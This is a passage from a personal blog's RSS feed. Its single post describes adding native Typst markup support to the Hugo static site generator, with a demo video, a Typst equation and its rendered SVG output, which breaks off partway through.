<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>George Honeywood's blog</title><link>https://george.honeywood.org.uk/</link><description>Recent content on George Honeywood's blog</description><generator>Hugo -- gohugo.io</generator><language>en-gb</language><copyright>content: &lt;a href='https://creativecommons.org/licenses/by-nc-sa/4.0/'&gt;CC BY-NC-SA 4.0&lt;/a&gt; &amp;mdash; theme: modified &lt;a href='https://github.com/jakewies/hugo-theme-codex'&gt;codex&lt;/a&gt;</copyright><lastBuildDate>Sun, 02 Nov 2025 12:29:41 +0000</lastBuildDate><atom:link href="https://george.honeywood.org.uk/index.xml" rel="self" type="application/rss+xml"/><item><title>Proper Hugo Typst support</title><link>https://george.honeywood.org.uk/blog/typst-and-hugo-properly/</link><pubDate>Sun, 02 Nov 2025 12:29:41 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/typst-and-hugo-properly/</guid><description>
&lt;p&gt;This post is written in Typst!&lt;/p&gt;
&lt;p&gt;I had a first pass at making Hugo deal with Typst’s HTML export support last weekend, see &lt;a href="https://george.honeywood.org.uk/blog/typst-and-hugo/"&gt;Typst + Hugo&lt;/a&gt;. It worked, but not very well! It was OK for one dedicated page, but not good enough for writing normal blog posts with. You had to add a dedicated template for each page, and manually export the &lt;code&gt;.typ&lt;/code&gt; files to HTML out of band from Hugo.&lt;/p&gt;
&lt;p&gt;A couple of years ago, this topic got a bit of discussion on the &lt;a href="https://discourse.gohugo.io/t/how-can-i-introduce-a-new-markup-language-typst-for-hugo/44848"&gt;Hugo forum&lt;/a&gt;. This was before Typst could natively export HTML, however, so it would have had to be done via &lt;code&gt;pandoc&lt;/code&gt; or some other third-party tool — it makes much more sense now Typst can render its’ own HTML.&lt;/p&gt;
&lt;p&gt;Conveniently Hugo’s codebase is pretty pluggable when it comes to markup formats, it’s not wedded to Markdown. Hugo also has support for Asciidoc, pandoc, and reStructuredText/RST, among others. The &lt;code&gt;pandoc&lt;/code&gt; support uses pandoc as as an “external renderer”, where Hugo just shells out to the system &lt;code&gt;pandoc&lt;/code&gt; binary generate the HTML — this is pretty much exactly what I want. I asked GitHub Copilot to have a go and it did quite a good job, I had &lt;a href="https://github.com/gohugoio/hugo/compare/master...GeorgeHoneywood:hugo:typst"&gt;something working&lt;/a&gt; after only a couple of iterations.&lt;/p&gt;
&lt;p&gt;This gives a pretty ideal experience for me. Live reload works properly, and all I have to do to write posts in Typst is create files with a &lt;code&gt;.typ&lt;/code&gt; extension instead of &lt;code&gt;.md&lt;/code&gt;!&lt;/p&gt;
&lt;figure&gt;
&lt;video
class="video-shortcode"
controls
muted
loop
width="1276"
height="720"
style="aspect-ratio: 1276 / 720" &gt;
&lt;source src="https://george.honeywood.org.uk/blog/typst-and-hugo-properly/images/demo-1276x720.mp4" type="video/mp4"&gt;
There should have been a video here, but your browser does not seem
to support it.
You can try visiting &lt;a href="https://george.honeywood.org.uk/blog/typst-and-hugo-properly/images/demo-1276x720.mp4"&gt;/blog/typst-and-hugo-properly/images/demo-1276x720.mp4&lt;/a&gt; instead.
&lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;You can do magical Typst stuff like equations:&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="typst"&gt;&lt;span style="color: #198810"&gt;$&lt;/span&gt; &lt;span style="color: #8b41b1"&gt;sum&lt;/span&gt;&lt;span style="color: #1d6c76"&gt;_&lt;/span&gt;(k=0)&lt;span style="color: #1d6c76"&gt;^&lt;/span&gt;n k&lt;br&gt; &lt;span style="color: #1d6c76"&gt;&amp;amp;&lt;/span&gt;= 1 + &lt;span style="color: #1d6c76"&gt;...&lt;/span&gt; + n &lt;span style="color: #1d6c76"&gt;\&lt;/span&gt;&lt;br&gt; &lt;span style="color: #1d6c76"&gt;&amp;amp;&lt;/span&gt;= (n(n+1)) &lt;span style="color: #1d6c76"&gt;/&lt;/span&gt; 2 &lt;span style="color: #198810"&gt;$&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;Which renders to this:&lt;/p&gt;
&lt;div class="typst-equation"&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 7.862111111111114em; height: 5.3435em;" viewBox="0 0 86.48322222222225 58.7785" width="86.48322222222225pt" height="58.7785pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 16.1227)"&gt;&lt;use xlink:href="#g50E25A7F953A09F6FF7A6DC2271DFE01" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 5.2239 3.3956999999999993)"&gt;&lt;use xlink:href="#g7588CCEE7CF37CFEF3F3AE1D7B608269" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0.4191000000000006 28.253499999999995)"&gt;&lt;use xlink:href="#g850FD908E3822F97A6F754F63F4D9F61" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 5.093 28.253499999999995)"&gt;&lt;use xlink:href="#g76A24060547A937549671D197926B965" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 11.0836 28.253499999999995)"&gt;&lt;use xlink:href="#gC3162A99CC13006AF7DF373A81A99390" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 17.717333333333336 16.1227)"&gt;&lt;use xlink:href="#gFF343F9EA1B4E55468E4138751DE9EEC" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 26.66888888888889 16.1227)"&gt;&lt;use xlink:href="#gEF8BA589DAA93C55687BBE9F18D785DF" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 38.282444444444444 16.1227)"&gt;&lt;use xlink:href="#g2F3432F0380DABEBAA7D153F272AC8F3" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 46.226888888888894 16.1227)"&gt;&lt;use xlink:href="#g47CD197A6E96793962ED8F7E2A9BF9CE" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 57.22933333333334 16.1227)"&gt;&lt;use xlink:href="#g1238AD826F5480B4BA5E13D8710EE24A" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 68.8807777777778 16.1227)"&gt;&lt;use xlink:href="#g47CD197A6E96793962ED8F7E2A9BF9CE" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 79.88322222222224 16.1227)"&gt;&lt;use xlink:href="#gE2B7E3D264F2F7FB4E5DAE10F9857908" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 26.66888888888889 51.2325)"&gt;&lt;use xlink:href="#gEF8BA589DAA93C55687BBE9F18D785DF" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 39.382444444444445 43.7855)"&gt;&lt;use xlink:href="#gE2B7E3D264F2F7FB4E5DAE10F9857908" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 45.98244444444445 43.7855)"&gt;&lt;use xlink:href="#g12E319C43CA464B0F5F60BC3B25E348B" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 50.26144444444444 43.7855)"&gt;&lt;use xlink:href="#gE2B7E3D264F2F7FB4E5DAE10F9857908" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 59.30588888888889 43.7855)"&gt;&lt;use xlink:href="#g47CD197A6E96793962ED8F7E2A9BF9CE" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 70.30833333333332 43.7855)"&gt;&lt;use xlink:href="#g2F3432F0380DABEBAA7D153F272AC8F3" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 75.80833333333332 43.7855)"&gt;&lt;use xlink:href="#g48A1801D271A49748DC70B5AAC93C3B4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 56.98488888888889 58.7785)"&gt;&lt;use xlink:href="#g19DB37D42873A9E80AFC41942A4D40C4" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;path class="typst-shape" fill="none" stroke="#000000" stroke-width="0.528" stroke-linecap="butt" stroke-linejoin="miter" stroke-miterlimit="4" transform="matrix(1 0 0 1 39.382444444444445 48.4825)" d="M 0 0h 40.704887 "/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g50E25A7F953A09F6FF7A6DC2271DFE01" overflow="visible"&gt;&lt;path d="M 0 0m 13.915 -4.95 l 1.3640003 3.586 h -0.37400055 c -0.20899963 -0.5500001 -0.5609999 -1.012 -1.0669994 -1.386 c -1.243 -0.924 -2.8380003 -1.1659999 -5.137 -1.1659999 h -6.5010004 l 5.5 6.468 c 0.07700014 0.0769999 0.11000013 0.15400004 0.11000013 0.20899987 l -5.126 7.073 h 5.9069996 c 2.0790005 0 3.8060007 -0.26399994 4.939 -0.9899998 c 0.65999985 -0.41800022 1.1219997 -0.93499994 1.3860006 -1.5510001 h 0.36299992 l -1.3640003 3.157 h -12.947 c -0.19800001 0 -0.30800003 -0.032999992 -0.34100002 -0.09899998 c -0.010999978 -0.032999992 -0.010999978 -0.16499996 -0.010999978 -0.3959999 l 5.7749996 -7.898 l -5.6429996 -6.6219997 c -0.07700002 -0.08799982 -0.12100005 -0.16499996 -0.12100005 -0.21999979 c 0 -0.11000013 0.110000014 -0.16499996 0.34100002 -0.16499996 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g7588CCEE7CF37CFEF3F3AE1D7B608269" overflow="visible"&gt;&lt;path d="M 0 0m 1.2628 3.3957 c -0.25409997 0 -0.462 -0.13860011 -0.62369996 -0.42350006 c -0.10780001 -0.19249988 -0.19250003 -0.39269996 -0.24640003 -0.61599994 c -0.023099989 -0.08470011 -0.030799985 -0.1308999 -0.030799985 -0.14630008 c 0 -0.08469987 0.053900003 -0.1308999 0.16169998 -0.1308999 c 0.14630002 0 0.15400004 0.08470011 0.1925 0.24639988 c 0.13090003 0.53130007 0.30799997 0.8008001 0.53130007 0.8008001 c 0.14629996 0 0.2155999 -0.11549997 0.2155999 -0.34649992 c 0 -0.08470011 -0.03849995 -0.28489995 -0.12319994 -0.61599994 l -0.4081 -1.6478001 c -0.053900003 -0.20790002 -0.07700002 -0.31570002 -0.07700002 -0.32340002 c 0 -0.1771 0.10010004 -0.2695 0.29260004 -0.2695 c 0.14629996 0 0.25409997 0.0616 0.32340002 0.1848 c 0.023100019 0.0462 0.06929994 0.20789999 0.13859999 0.4774 l 0.16170001 0.67759997 c 0.092399955 0.36189997 0.14629996 0.56210005 0.16170001 0.6083 c 0.06159997 0.20020008 0.15399992 0.39269996 0.28489983 0.56980014 c 0.32340002 0.45429993 0.6930001 0.6852999 1.1165001 0.6852999 c 0.27719998 0 0.41579986 -0.16939998 0.41579986 -0.50049996 c 0 -0.30030012 -0.14629984 -0.83159995 -0.44659996 -1.6016 c -0.0769999 -0.20019996 -0.11549997 -0.33879995 -0.11549997 -0.42349994 c 0 -0.4158 0.33879995 -0.6776 0.75460005 -0.6776 c 0.36189985 0 0.6545 0.1848 0.86240005 0.5544 c 0.1770997 0.3157 0.2617998 0.52360004 0.2617998 0.6313999 c 0 0.08470011 -0.053899765 0.13090003 -0.1539998 0.13090003 c -0.05390024 -0.0076999664 -0.10780001 -0.046199918 -0.16170025 -0.12319994 c -0.0076999664 -0.0077000856 -0.0076999664 -0.023100019 -0.0076999664 -0.030799985 c -0.1770997 -0.59290004 -0.4389 -0.89320004 -0.77769995 -0.89320004 c -0.10780001 0 -0.16170001 0.07699999 -0.16170001 0.2387 c 0 0.10779998 0.06160021 0.308 0.17710018 0.6006 c 0.26950002 0.6853 0.40039992 1.1780999 0.40039992 1.4707 c 0 0.3541999 -0.12319994 0.6006 -0.36189985 0.7314999 c -0.19250011 0.10780001 -0.4158001 0.16170001 -0.65450025 0.16170001 c -0.50049996 0 -0.9239998 -0.21560001 -1.2628 -0.64680004 c -0.06929994 0.37730002 -0.40039992 0.64680004 -0.8392999 0.64680004 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g850FD908E3822F97A6F754F63F4D9F61" overflow="visible"&gt;&lt;path d="M 0 0m 4.3659 2.8567 c 0 0.33879995 -0.27720022 0.56209993 -0.6160002 0.56209993 c -0.34649992 0 -0.7545998 -0.22329998 -1.2319999 -0.6775999 c -0.34649992 -0.3311 -0.6237 -0.5467 -0.8162 -0.6391001 l 0.7392001 2.9722 c 0.0076999664 0.015399933 0.015399933 0.06160021 0.030799866 0.13090038 c 0 0.0923996 -0.053900003 0.13859987 -0.15400004 0.13859987 l -0.97019994 -0.07700014 c -0.13090003 -0.0076999664 -0.1925 -0.07700014 -0.1925 -0.20790005 c 0 -0.08470011 0.07700002 -0.1308999 0.22329998 -0.1308999 c 0.13090003 0 0.33880007 0 0.33880007 -0.08470011 c 0 -0.030799866 -0.0077000856 -0.08470011 -0.030799985 -0.16169977 c -0.36960006 -1.4707 -0.72380006 -2.9568 -1.1011 -4.4198003 c -0.007700026 -0.030799985 -0.007700026 -0.05389999 -0.007700026 -0.0616 c 0 -0.1848 0.092400014 -0.27719998 0.2849 -0.27719998 c 0.19250005 0 0.3157 0.1155 0.37729996 0.33879998 c 0.12320006 0.46969998 0.3003 1.1703999 0.36960006 1.4553001 c 0.60829985 -0.069300056 0.91629994 -0.26180005 0.91629994 -0.59290004 c 0 -0.06929994 -0.046200037 -0.3157 -0.046200037 -0.385 c 0 -0.4774 0.3619001 -0.8162 0.83159995 -0.8162 c 0.27720022 0 0.50820017 0.13859999 0.6853001 0.4158 c 0.16170001 0.25409997 0.26180005 0.5082 0.30799985 0.7777 c 0 0.08469999 -0.053899765 0.13090003 -0.1539998 0.13090003 c -0.046200275 0 -0.07700014 -0.0077000856 -0.10010004 -0.023100019 c -0.038499832 -0.069300056 -0.06929994 -0.13090003 -0.0769999 -0.18480003 c -0.15400004 -0.5621 -0.36960006 -0.83930004 -0.6391001 -0.83930004 c -0.15400004 0 -0.23099995 0.1232 -0.23099995 0.3619 c 0 0.092400014 0.015399933 0.20020002 0.038499832 0.3311 c 0.023100138 0.08469999 0.03850007 0.16170007 0.03850007 0.24640006 c 0 0.3311 -0.16939998 0.56209993 -0.5158999 0.6775999 c -0.21560001 0.07700002 -0.43120003 0.13090003 -0.64680004 0.15400004 c 0.14630008 0.10010004 0.3311 0.25410008 0.55439997 0.45429993 c 0.3619001 0.32340002 0.70070004 0.7161 1.1703999 0.7161 c 0.08470011 0 0.14630008 -0.015399933 0.19250011 -0.0461998 c -0.23869991 -0.06160021 -0.3619001 -0.20790005 -0.3619001 -0.4466002 c 0 -0.18479991 0.14630008 -0.31569982 0.3311 -0.31569982 c 0.27719998 0 0.46200013 0.24639988 0.46200013 0.52359986 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g76A24060547A937549671D197926B965" overflow="visible"&gt;&lt;path d="M 0 0m 5.3746 2.8259 h -4.7585998 c -0.1232 0 -0.1848 -0.06160021 -0.1848 -0.17710018 c 0 -0.11549997 0.0616 -0.17709994 0.1848 -0.17709994 h 4.7585998 c 0.12319994 0 0.18480015 0.06159997 0.18480015 0.17709994 c 0 0.092400074 -0.08470011 0.17710018 -0.18480015 0.17710018 Z m 0 -1.4476001 h -4.7585998 c -0.1232 0 -0.1848 -0.06159997 -0.1848 -0.17709994 c 0 -0.11549997 0.0616 -0.17710006 0.1848 -0.17710006 h 4.7585998 c 0.12319994 0 0.18480015 0.06160009 0.18480015 0.17710006 c 0 0.10010004 -0.08470011 0.17709994 -0.18480015 0.17709994 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gC3162A99CC13006AF7DF373A81A99390" overflow="visible"&gt;&lt;path d="M 0 0m 3.9732 2.4563 c 0 0.8701 -0.15400004 1.5323 -0.45430017 1.9866002 c -0.24639988 0.38499975 -0.7391999 0.66989994 -1.3320999 0.66989994 c -0.2464 0 -0.46969998 -0.03850031 -0.6622 -0.12319994 c -0.847 -0.35420036 -1.1242001 -1.3398001 -1.1242001 -2.5333002 c 0 -0.26180005 0.015400022 -0.50820005 0.03850001 -0.7469001 c 0.13090003 -1.0086999 0.6006 -1.8634 1.7479 -1.8634 c 0.24639988 0 0.4697001 0.038499996 0.6622 0.1232 c 0.8470001 0.34649998 1.1242001 1.309 1.1242001 2.4871001 Z m -0.8778 1.7093999 c 0.08469987 -0.28489995 0.1308999 -0.8162 0.1308999 -1.6092999 c 0 -0.75460005 -0.030800104 -1.2859001 -0.10010004 -1.6016 c -0.092400074 -0.4543 -0.41579986 -0.8316 -0.93939996 -0.8316 c -0.1925 0 -0.385 0.0616 -0.56210005 0.1925 c -0.23869991 0.1771 -0.385 0.5236 -0.44659996 1.0548999 c -0.023100019 0.17710006 -0.030799985 0.5698 -0.030799985 1.1858001 c 0 0.74689984 0.03849995 1.2628 0.11549997 1.5399997 c 0.13090003 0.49280024 0.4389 0.7392001 0.924 0.7392001 c 0.4619999 0 0.8008001 -0.30030012 0.9086001 -0.66989994 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gFF343F9EA1B4E55468E4138751DE9EEC" overflow="visible"&gt;&lt;path d="M 0 0m 4.499 3.883 c 0 -0.286 0.1539998 -0.4289999 0.45099974 -0.4289999 c 0.38500023 0 0.638 0.34100008 0.638 0.71500015 c 0 0.4289999 -0.35199976 0.72599983 -0.78099966 0.72599983 c -0.49500036 0 -1.0230002 -0.32999992 -1.6060002 -0.9790001 c -0.45099998 -0.4949999 -0.8139999 -0.8139999 -1.1110001 -0.957 l 1.1110001 4.51 c -0.022000074 0.09899998 -0.04399991 0.16499996 -0.18700004 0.16499996 c -0.352 0 -1.188 -0.09899998 -1.3199999 -0.10999966 c -0.16499996 -0.022000313 -0.24199998 -0.09899998 -0.24199998 -0.26400042 c 0 -0.10999966 0.09899998 -0.16499996 0.29699993 -0.16499996 c 0.20899999 0 0.495 0.011000156 0.495 -0.14299965 l -1.595 -6.479 c -0.032999992 -0.12099999 -0.04399997 -0.19799998 -0.04399997 -0.24199998 c 0 -0.231 0.12099999 -0.352 0.352 -0.352 c 0.18700004 0 0.32999992 0.088 0.40699995 0.253 c 0.055000067 0.09900001 0.25300002 0.88 0.605 2.354 c 0.5719999 -0.055000067 1.1769999 -0.33000016 1.1769999 -0.8800001 c 0 -0.16499996 -0.0769999 -0.495 -0.0769999 -0.6049999 c 0 -0.62700003 0.40700006 -1.1220001 1.0340002 -1.1220001 c 0.638 0 1.0669999 0.572 1.2869997 1.7160001 c 0 0.09899998 -0.05499983 0.15399992 -0.16499996 0.15399992 c -0.09899998 0 -0.16499996 -0.07700002 -0.19799995 -0.23099995 c -0.2420001 -0.869 -0.53900003 -1.309 -0.90199995 -1.309 c -0.19799995 0 -0.29699993 0.15400001 -0.29699993 0.462 c 0 0.176 0.13199997 0.77 0.13199997 0.946 c 0 0.627 -0.50600004 1.012 -1.529 1.166 c 0.25300002 0.17599988 0.53900003 0.4289999 0.8469999 0.75900006 c 0.3080001 0.32999992 0.5280001 0.5389998 0.671 0.6600001 c 0.29699993 0.24199963 0.5830002 0.36299992 0.83599997 0.36299992 c 0.11000013 0 0.19799995 -0.022000313 0.26399994 -0.065999985 c -0.29699993 -0.055000305 -0.5499997 -0.32999992 -0.5499997 -0.6160002 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gEF8BA589DAA93C55687BBE9F18D785DF" overflow="visible"&gt;&lt;path d="M 0 0m 7.678 4.037 h -6.798 c -0.176 0 -0.264 -0.0880003 -0.264 -0.25300026 c 0 -0.16499996 0.088 -0.25300002 0.264 -0.25300002 h 6.798 c 0.17600012 0 0.26399994 0.08800006 0.26399994 0.25300002 c 0 0.13199997 -0.12099981 0.25300026 -0.26399994 0.25300026 Z m 0 -2.0680003 h -6.798 c -0.176 0 -0.264 -0.08799994 -0.264 -0.25300002 c 0 -0.16499996 0.088 -0.25300002 0.264 -0.25300002 h 6.798 c 0.17600012 0 0.26399994 0.08800006 0.26399994 0.25300002 c 0 0.143 -0.12099981 0.25300002 -0.26399994 0.25300002 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g2F3432F0380DABEBAA7D153F272AC8F3" overflow="visible"&gt;&lt;path d="M 0 0m 2.9589999 7.3259997 c -0.45099998 -0.4619999 -1.1109998 -0.69299984 -1.9799999 -0.69299984 v -0.4289999 c 0.572 0 1.045 0.08799982 1.4080001 0.26399994 v -5.566 c 0 -0.19800001 -0.04400015 -0.32999998 -0.14300013 -0.385 c -0.09899998 -0.055000007 -0.37399995 -0.08800003 -0.814 -0.08800003 h -0.385 v -0.429 c 0.27499998 0.022 0.8690001 0.033 1.782 0.033 c 0.9130001 0 1.5070002 -0.011 1.7820003 -0.033 v 0.429 h -0.38500023 c -0.45099998 0 -0.7260001 0.033000022 -0.8139999 0.08800003 c -0.08800006 0.055000007 -0.14300013 0.18699998 -0.14300013 0.385 v 6.094 c 0 0.26399994 -0.022000074 0.32999992 -0.3080001 0.32999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g47CD197A6E96793962ED8F7E2A9BF9CE" overflow="visible"&gt;&lt;path d="M 0 0m 7.678 3.014 h -3.1350002 v 3.1350002 c 0 0.17599964 -0.08799982 0.26399994 -0.26399994 0.26399994 c -0.17599964 0 -0.26399994 -0.0880003 -0.26399994 -0.26399994 v -3.1350002 h -3.1349998 c -0.176 0 -0.264 -0.08800006 -0.264 -0.26399994 c 0 -0.17600012 0.088 -0.26399994 0.264 -0.26399994 h 3.1349998 v -3.135 c 0 -0.176 0.0880003 -0.264 0.26399994 -0.264 c 0.17600012 0 0.26399994 0.088 0.26399994 0.264 v 3.135 h 3.1350002 c 0.17600012 0 0.26399994 0.08799982 0.26399994 0.26399994 c 0 0.14299989 -0.12099981 0.26399994 -0.26399994 0.26399994 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g1238AD826F5480B4BA5E13D8710EE24A" overflow="visible"&gt;&lt;path d="M 0 0m 8.261 0.583 c 0 0.32999998 -0.28599977 0.583 -0.6159997 0.583 c -0.34100008 0 -0.62699986 -0.25300002 -0.62699986 -0.583 c 0 -0.33 0.28599977 -0.583 0.62699986 -0.583 c 0.32999992 0 0.6159997 0.253 0.6159997 0.583 Z m -3.0359998 0 c 0 0.32999998 -0.28599977 0.583 -0.6159997 0.583 c -0.34100008 0 -0.6160002 -0.25300002 -0.6160002 -0.583 c 0 -0.33 0.2750001 -0.583 0.6160002 -0.583 c 0.32999992 0 0.6159997 0.253 0.6159997 0.583 Z m -3.0249999 0 c 0 0.32999998 -0.286 0.583 -0.6270001 0.583 c -0.32999992 0 -0.61599994 -0.25300002 -0.61599994 -0.583 c 0 -0.33 0.286 -0.583 0.61599994 -0.583 c 0.33000004 0 0.6270001 0.253 0.6270001 0.583 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gE2B7E3D264F2F7FB4E5DAE10F9857908" overflow="visible"&gt;&lt;path d="M 0 0m 5.907 1.507 c -0.25300026 -0.86899996 -0.6160002 -1.309 -1.0669999 -1.309 c -0.14300013 0 -0.22000027 0.11 -0.22000027 0.319 c 0 0.15399998 0.065999985 0.407 0.19799995 0.74799997 c 0.44000006 1.199 0.6600003 1.991 0.6600003 2.3979998 c 0 0.7700002 -0.5170002 1.1990001 -1.2870002 1.1990001 c -0.6489999 0 -1.21 -0.28599977 -1.661 -0.86899996 c -0.08800006 0.48399973 -0.47300005 0.86899996 -1.0339999 0.86899996 c -0.61600006 0 -0.85800004 -0.572 -1.0120001 -1.0669999 c -0.109999985 -0.352 -0.16499999 -0.5610001 -0.16499999 -0.638 c 0 -0.09899998 0.055000007 -0.15400004 0.176 -0.15400004 c 0.055000007 0 0.088 0.010999918 0.12099999 0.032999992 c 0.055000007 0.09899998 0.088 0.17599988 0.09899998 0.25300002 c 0.19800001 0.83599997 0.45100003 1.2539997 0.74799997 1.2539997 c 0.19800007 0 0.29700005 -0.1539998 0.29700005 -0.4619999 c 0 -0.14299989 -0.054999948 -0.43999982 -0.176 -0.8909998 l -0.627 -2.497 c -0.032999992 -0.143 -0.09900004 -0.42900002 -0.09900004 -0.48400003 c 0 -0.22 0.12099999 -0.32999998 0.36299998 -0.32999998 c 0.20899999 0 0.36300004 0.11 0.44000006 0.32999998 c 0.021999955 0.055000007 0.08799994 0.32999998 0.20899999 0.803 l 0.23100007 0.979 l 0.32999992 1.254 c 0.12100005 0.25300002 0.3080001 0.50600004 0.53900003 0.77 c 0.319 0.35200024 0.7149999 0.5279999 1.188 0.5279999 c 0.36299992 0 0.53900003 -0.24199963 0.53900003 -0.7149997 c 0 -0.41799998 -0.23099995 -1.2540002 -0.704 -2.5080001 c -0.07700014 -0.19799995 -0.11000013 -0.36299992 -0.11000013 -0.5059999 c 0 -0.53900003 0.40700006 -0.935 0.93499994 -0.935 c 0.4840002 0 0.86899996 0.275 1.144 0.825 c 0.20900011 0.44000006 0.31900024 0.737 0.31900024 0.88 c 0 0.09899998 -0.055000305 0.15400004 -0.17600012 0.15400004 c -0.032999992 0 -0.19799995 -0.0990001 -0.19799995 -0.23100007 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g12E319C43CA464B0F5F60BC3B25E348B" overflow="visible"&gt;&lt;path d="M 0 0m 3.498 -2.728 c 0.09899998 0 0.15400004 0.05499983 0.15400004 0.15400004 c 0 0.032999992 -0.022000074 0.0769999 -0.055000067 0.12099981 c -0.5719998 0.44000006 -1.0339999 1.1660001 -1.375 2.167 c -0.29699993 0.869 -0.45099986 1.727 -0.45099986 2.5740001 v 0.9239998 c 0 0.8470001 0.15399992 1.7049999 0.45099986 2.574 c 0.34100008 1.0010004 0.8030002 1.7270002 1.375 2.1670003 c 0.032999992 0.032999992 0.055000067 0.076999664 0.055000067 0.12100029 c 0 0.09899998 -0.055000067 0.15399933 -0.15400004 0.15399933 c -0.010999918 0 -0.04399991 -0.01099968 -0.0769999 -0.032999992 c -0.6600001 -0.50599957 -1.21 -1.2539997 -1.661 -2.2549996 c -0.42900002 -0.95700026 -0.64900005 -1.8590002 -0.64900005 -2.7280002 v -0.9239998 c 0 -0.8690001 0.22000003 -1.7710001 0.64900005 -2.7280002 c 0.45099998 -1.0009999 1.0009999 -1.7489998 1.661 -2.2549999 c 0.032999992 -0.022000074 0.065999985 -0.032999992 0.0769999 -0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g48A1801D271A49748DC70B5AAC93C3B4" overflow="visible"&gt;&lt;path d="M 0 0m 0.858 -2.695 c 0.66 0.50600004 1.21 1.254 1.661 2.2549999 c 0.4289999 0.957 0.6489999 1.859 0.6489999 2.7280002 v 0.9239998 c 0 0.86899996 -0.22000003 1.7709999 -0.6489999 2.7280002 c -0.45099998 1.0009999 -1.001 1.7490001 -1.661 2.2549996 c -0.032999992 0.022000313 -0.065999985 0.032999992 -0.07699996 0.032999992 c -0.09900004 0 -0.15400004 -0.05499935 -0.15400004 -0.15399933 c 0 -0.044000626 0.022000015 -0.0880003 0.055000007 -0.12100029 c 0.57199997 -0.44000006 1.0339999 -1.1659999 1.375 -2.1670003 c 0.29700017 -0.86899996 0.45099998 -1.7269998 0.45099998 -2.574 v -0.9239998 c 0 -0.8470001 -0.1539998 -1.7050002 -0.45099998 -2.5740001 c -0.34099996 -1.0009999 -0.803 -1.727 -1.375 -2.167 c -0.032999992 -0.04399991 -0.055000007 -0.08799982 -0.055000007 -0.12099981 c 0 -0.099000216 0.055000007 -0.15400004 0.15400004 -0.15400004 c 0.010999978 0 0.04399997 0.010999918 0.07699996 0.032999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="g19DB37D42873A9E80AFC41942A4D40C4" overflow="visible"&gt;&lt;path d="M 0 0m 2.6069999 7.3259997 c -0.5609999 0 -1.0339999 -0.19799995 -1.4409999 -0.59399986 c -0.407 -0.3959999 -0.616 -0.8579998 -0.616 -1.4189997 c 0 -0.37400007 0.27499998 -0.64900017 0.616 -0.64900017 c 0.33000004 0 0.605 0.28599977 0.605 0.6159997 c 0 0.3630004 -0.26400006 0.6160002 -0.61600006 0.6160002 c -0.032999992 0 -0.054999948 0 -0.07700002 -0.011000156 c 0.20899999 0.53900003 0.6930001 1.0120001 1.386 1.0120001 c 0.90199995 0 1.408 -0.78099966 1.408 -1.7269998 c 0 -0.737 -0.37400007 